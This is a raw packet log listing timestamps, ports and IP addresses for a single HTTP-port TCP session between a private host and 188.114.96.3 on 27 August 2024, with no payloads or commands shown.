Aug 27, 2024 09:49:39.063245058 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.063257933 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.063267946 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.063281059 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.063292027 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.063302040 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.063313961 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.063332081 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.063344002 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.063353062 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.063363075 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.063364029 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.063380003 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.063393116 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.063405037 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.063410044 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.063416958 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.063427925 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.063431025 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.063438892 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.063448906 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.063457012 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.063460112 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.063467979 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.063472033 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.063482046 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.063488960 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.063493013 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.063503027 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.063507080 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.063543081 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.064143896 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.064156055 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.064166069 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.064177990 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.064188957 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.064201117 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.064202070 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.064209938 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.064210892 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.064223051 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.064229965 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.064234018 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.064244986 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.064254045 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.064258099 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.064275980 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.064277887 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.064287901 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.064296007 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.064299107 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.064310074 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.064320087 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.064321041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.064331055 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.064342976 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.064344883 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.064354897 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.064363003 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.064368010 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.064378977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.064389944 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.064398050 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.064402103 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.064413071 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.064421892 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.064423084 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.064435005 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.064445019 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.064446926 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.064457893 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.064462900 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.064492941 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.065102100 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.065113068 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.065124989 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.065135956 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.065145969 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.065146923 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.065159082 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.065171003 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.065176964 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.065181971 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.065185070 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.065192938 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.065205097 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.065212011 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.065223932 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.065234900 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.065236092 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.065246105 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.065258026 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.065268040 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.065279961 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.065279961 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.065291882 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.065304995 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.065313101 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.065313101 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.065316916 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.065325022 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.065327883 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.065339088 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.065346003 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.065350056 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.065362930 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.065372944 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.065375090 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.065387011 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.065396070 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.065398932 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.065409899 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.065411091 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.065422058 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.065438986 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.065460920 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.066042900 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.066055059 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.066063881 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.066076994 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.066087008 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.066093922 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.066097975 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.066109896 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.066122055 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.066124916 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.066132069 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.066143036 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.066149950 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.066154957 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.066168070 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.066173077 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.066181898 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.066183090 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.066193104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.066205025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.066216946 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.066217899 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.066229105 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.066241026 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.066240072 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.066251040 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.066251993 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.066262007 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.066271067 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.066277027 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.066277981 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.066288948 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.066301107 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.066303968 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.066313982 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.066322088 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.066324949 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.066337109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.066343069 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.066349030 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.066356897 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.066386938 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.067002058 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.067013025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.067022085 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.067040920 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.067044973 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.067050934 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.067063093 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.067074060 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.067085028 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.067085981 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.067097902 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.067105055 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.067110062 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.067122936 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.067128897 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.067140102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.067152023 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.067162037 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.067162991 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.067173004 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.067181110 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.067184925 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.067197084 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.067198992 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.067209959 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.067223072 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.067224979 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.067236900 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.067255020 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.067255020 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.067270041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.067281008 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.067282915 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.067293882 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.067306042 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.067312002 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.067317963 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.067329884 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.067342043 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.067346096 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.067353010 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.067370892 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.067389011 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.067873001 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.067884922 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.067893982 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.067905903 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.067917109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.067929029 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.067929983 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.067939997 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.067951918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.067955971 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.067972898 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.067991018 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.068025112 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.068202972 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.068213940 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.068223953 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.068237066 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.068248034 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.068259001 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.068263054 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.068279028 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.068289042 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.068290949 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.068300962 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.068301916 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.068312883 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.068325043 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.068329096 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.068336010 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.068346977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.068351984 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.068357944 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.068370104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.068381071 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.068382025 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.068393946 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.068408012 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.068409920 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.068418980 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.068423986 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.068430901 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.068443060 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.068448067 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.068454027 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.068468094 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.068473101 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.068489075 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.068502903 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.068505049 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.068527937 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.068861961 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.068873882 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.068885088 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.068909883 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.068929911 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.069011927 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.069022894 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.069034100 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.069046021 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.069052935 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.069091082 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.069258928 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.069269896 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.069281101 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.069293022 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.069304943 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.069310904 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.069315910 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.069330931 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.069334030 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.069341898 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.069354057 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.069354057 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.069376945 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.069782972 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.069799900 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.069811106 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.069822073 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.069823027 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.069833040 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.069835901 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.069844961 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.069856882 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.069863081 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.069868088 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.069879055 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.069890976 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.069901943 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.069902897 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.069912910 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.069921017 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.069925070 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.069941044 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.069946051 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.069952965 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.069962978 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.069967985 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.069974899 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.069986105 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.069991112 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.069998980 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.070009947 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.070014954 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.070020914 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.070031881 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.070034027 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.070066929 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.070091963 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.070103884 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.070115089 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.070127010 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.070135117 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.070137978 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.070152044 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.070152044 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.070163012 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.070173979 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.070177078 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.070185900 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.070197105 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.070202112 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.070208073 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.070219040 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.070219994 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.070266008 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.070344925 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.070355892 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.070367098 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.070379019 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.070395947 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.070427895 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.070477962 CEST	80	49715	188.114.96.3	192.168.2.8
